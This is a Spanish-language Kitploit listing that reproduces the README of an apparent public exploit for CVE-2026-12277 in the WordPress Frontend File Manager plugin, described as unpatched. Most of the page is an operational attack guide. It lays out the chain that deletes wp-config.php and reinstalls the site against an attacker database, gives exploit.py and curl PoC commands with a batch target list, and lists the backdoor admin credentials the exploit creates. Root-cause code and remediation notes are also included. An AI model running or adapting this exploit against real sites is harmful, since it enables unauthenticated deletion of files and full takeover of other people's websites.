Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-12277 — Frontend File Manager Plugin (WordPress) <= 23.6 - Eliminación arbitraria de archivos no autenticada que conduce a RCE | Kitploit
Herramientas/GitHubGitHub/moritakaaz/cve-2026-12277
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónDesarrollo de Payloads
GitHubmoritakaaz/cve-2026-12277

CVE-2026-12277

Frontend File Manager Plugin (WordPress) <= 23.6 - Eliminación arbitraria de archivos no autenticada que conduce a RCE

Ver Repositorio
hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-12277

Plugin Frontend File Manager (WordPress) <= 23.6 - Eliminación arbitraria de archivos sin autenticar que deriva en RCE

Resumen

CampoValor
CVECVE-2026-12277
PluginFrontend File Manager Plugin (nmedia-user-file-uploader)
Afectado<= 23.6
TipoEliminación arbitraria de archivos sin autenticar
CVSS8.7 (ALTO)
CWECWE-73 (Control externo del nombre o ruta de archivo)
Requisito previoModo de subida de invitados habilitado
ParcheNinguno (hasta julio de 2026)
InvestigadorChamseddine Bouzaiene

Causa raíz

El plugin almacena las rutas de los archivos subidos en los metadatos de las entradas (wpfm_dir_path). El endpoint AJAX wpfm_file_meta_update:

  1. Tiene la verificación de nonce comentada (líneas 769-771 en files.php)
  2. Está registrado como nopriv (accesible sin autenticación)
  3. La defensa unset($_REQUEST['wpfm_dir_path']) se puede omitir mediante peculiaridades de request_order de PHP (envío a través de la cadena de consulta)

Cuando se llama a wpfm_delete_file, lee wpfm_dir_path de los metadatos de la entrada y llama a unlink() sin ninguna validación de ruta.

Endpoints vulnerables

Cadena de explotación

root@kitploit:~
1. Detectar el plugin y la subida de invitados habilitada
2. Extraer automáticamente el nonce AJAX de la página frontal (campo de entrada oculto)
3. Subir un archivo como invitado O forzar por fuerza bruta un ID de entrada existente
4. Sobrescribir wpfm_dir_path mediante la omisión por cadena de consulta → apuntar a wp-config.php
5. Activar wpfm_delete_file → unlink(wp-config.php)
6. WordPress entra en modo de instalación (setup-config.php)
7. Completar la instalación con una base de datos controlada por el atacante
8. Iniciar sesión como administrador → toma de control total

Archivos

Uso

Exploit en Python (automático completo)

root@kitploit:~
# Instalar dependencias
pip install -r requirements.txt

# Exploit totalmente automático (nonce auto-detectado)
python exploit.py -u http://target.com -p /var/www/html/wp-config.php --dbname attacker_db --dbuser root

# Solo detección
python exploit.py -u http://target.com --detect-only

# Con nonce manual (si la auto-detección falla)
python exploit.py -u http://target.com -p /var/www/html/wp-config.php --nonce abc123def4

# Con proxy de Burp
python exploit.py -u http://target.com --proxy http://127.0.0.1:8080

# Configuración personalizada de la base de datos del atacante
python exploit.py -u http://target.com \
    -p /var/www/html/wp-config.php \
    --dbname pwned_db \
    --dbuser root \
    --dbpass secret \
    --dbhost localhost

Después de la explotación - Inicio de sesión

Después de explotar con éxito, inicia sesión en el administrador de WordPress:

root@kitploit:~
URL:      http://target.com/wp-login.php
Usuario:  shac1x
Contraseña: Sh4c1x_Pwn3d!

PoC en curl (Bash)

root@kitploit:~
bash poc_curl.sh http://target.com

PoC en curl (PowerShell)

root@kitploit:~
.\poc_curl.ps1 -Target "http://target.com" -PageSlug "file-upload"

Argumentos

Cómo funciona la autoextracción del nonce

El exploit busca automáticamente wpfm_ajax_nonce en:

  1. Slugs de página comunes: /file-manager/, /upload/, /files/, /file-upload/, etc.
  2. Archivo directo: /file-manager.php
  3. Todos los enlaces internos encontrados en la página de inicio (rastreo)
  4. API REST de WP (/wp-json/)

El nonce aparece como un campo de entrada oculto:

root@kitploit:~
<input type="hidden" id="wpfm_ajax_nonce" name="wpfm_ajax_nonce" value="abc123def4" />

O en JavaScript localizado:

root@kitploit:~
var wpfm_vars = {"wpfm_ajax_nonce":"abc123def4"};

Técnica de omisión de ruta

El código ejecuta unset($_REQUEST['wpfm_dir_path']) para evitar la sobrescritura directa. La omisión:

  1. Inyección en la cadena de consulta: Enviar wpfm_dir_path mediante un parámetro de consulta en la URL mientras el resto de los datos van en el cuerpo POST. El comportamiento de fusión de $_REQUEST de PHP permite que el valor persista dependiendo de la configuración de request_order.

  2. Predefinido durante el flujo de subida: El metadato wpfm_dir_path se establece durante los hooks iniciales de subida de archivos. Si se explota en esa etapa, no se necesita omisión.

Entorno probado

ComponenteVersión
WordPress6.9.4
PHP8.2.12
Plugin

Referencias de código vulnerable

Nonce deshabilitado (inc/files.php:769-771)

root@kitploit:~
/*if (empty ( $_POST ) || ! wp_verify_nonce ( $_POST ['wpfm_ajax_nonce'], 'wpfm_securing_ajax' )) {
    wp_send_json_error(__("Sorry, this request cannot be completed contact admin", "wpfm"));
}*/

Escritura arbitraria de metadatos (inc/files.php:787-795)

root@kitploit:~
$meta_fields = $_REQUEST;
foreach ($meta_fields as $meta_key => $meta_value) {
    update_post_meta( $file_id, sanitize_key($meta_key), sanitize_text_field($meta_value));
}

Omisión de autorización (inc/files.php:690-693)

root@kitploit:~
$allow_guest = wpfm_get_option('_allow_guest_upload') == 'yes' ? true : false;
if( !$allow_guest && ! wpfm_is_current_user_post_author($_POST['file_id'] )) {
    wp_send_json_error(__("Sorry, not allowed", "wpfm"));
}
// Cuando la subida de invitados está ACTIVADA → !$allow_guest = false → la comprobación completa se OMITE

Eliminación sin validar (inc/file.class.php:729-753)

root@kitploit:~
function delete_file_locally() {
    $file_path = $this->path;  // desde el metadato wpfm_dir_path - SIN VALIDACIÓN
    if (file_exists($file_path)) {
        unlink($file_path);    // ELIMINACIÓN ARBITRARIA DE ARCHIVOS
    }
}

Resolución de ruta (inc/file.class.php:172-184)

root@kitploit:~
function path() {
    $file_dir_path = null;
    if( ! $file_dir_path = $this->get_meta('wpfm_dir_path') ) {
        $file_dir_path = $this->legacy->path();  // respaldo: upload_dir + wpfm_file_name
    }
    if( ! is_file($file_dir_path) ) {
        $file_dir_path = null;
    }
    return $file_dir_path;  // SIN canonicalización, SIN comprobación de realpath
}

Remedición

  • Descomentar la verificación de nonce en wpfm_file_meta_update
  • Validar wpfm_dir_path contra el directorio de subidas utilizando realpath() + comprobación de prefijo
  • No permitir nunca que entradas controladas por el usuario participen en rutas de eliminación de archivos
  • Agregar comprobaciones de autorización adecuadas independientes de la configuración de subida de invitados

Aviso legal

Esta herramienta se proporciona únicamente para pruebas de seguridad autorizadas y fines educativos. El acceso no autorizado a sistemas informáticos es ilegal. Obtenga siempre permiso por escrito antes de realizar pruebas.

Descargar herramienta
Acción AJAXNonce requeridoAutenticación requeridanopriv
wpfm_file_meta_updateNO (comentado)NoSí (siempre)
wpfm_delete_fileSíNoSí (siempre)
wpfm_upload_fileSíNoSí (si la subida de invitados está activa)
ArchivoDescripción
exploit.pyExploit completo en Python (detectar → explotar → toma de control)
poc_curl.shPoC en Bash/curl (Linux)
poc_curl.ps1PoC en PowerShell/curl (Windows)
lists.txtURL de objetivos (una por línea, para modo por lotes)
requirements.txtDependencias de Python
ArgumentoRequeridoDescripción
-u, --urlSíURL objetivo de WordPress
-p, --pathNoRuta absoluta a wp-config.php en el servidor
--nonceNoNonce AJAX (omitir la autoextracción)
--dbnameNoNombre de la base de datos del atacante (por defecto: wp_pwned)
--dbuserNoUsuario de la base de datos del atacante (por defecto: root)
--dbpassNoContraseña de la base de datos del atacante
--dbhostNoHost de la base de datos del atacante (por defecto: localhost)
--proxyNoProxy HTTP (p. ej., http://127.0.0.1:8080)
--timeoutNoTiempo de espera de la solicitud en segundos (por defecto: 15)
--detect-onlyNoSolo detectar la vulnerabilidad, sin explotar
Frontend File Manager 23.6
SOWindows (XAMPP) / Linux
ResultadoToma de control total confirmada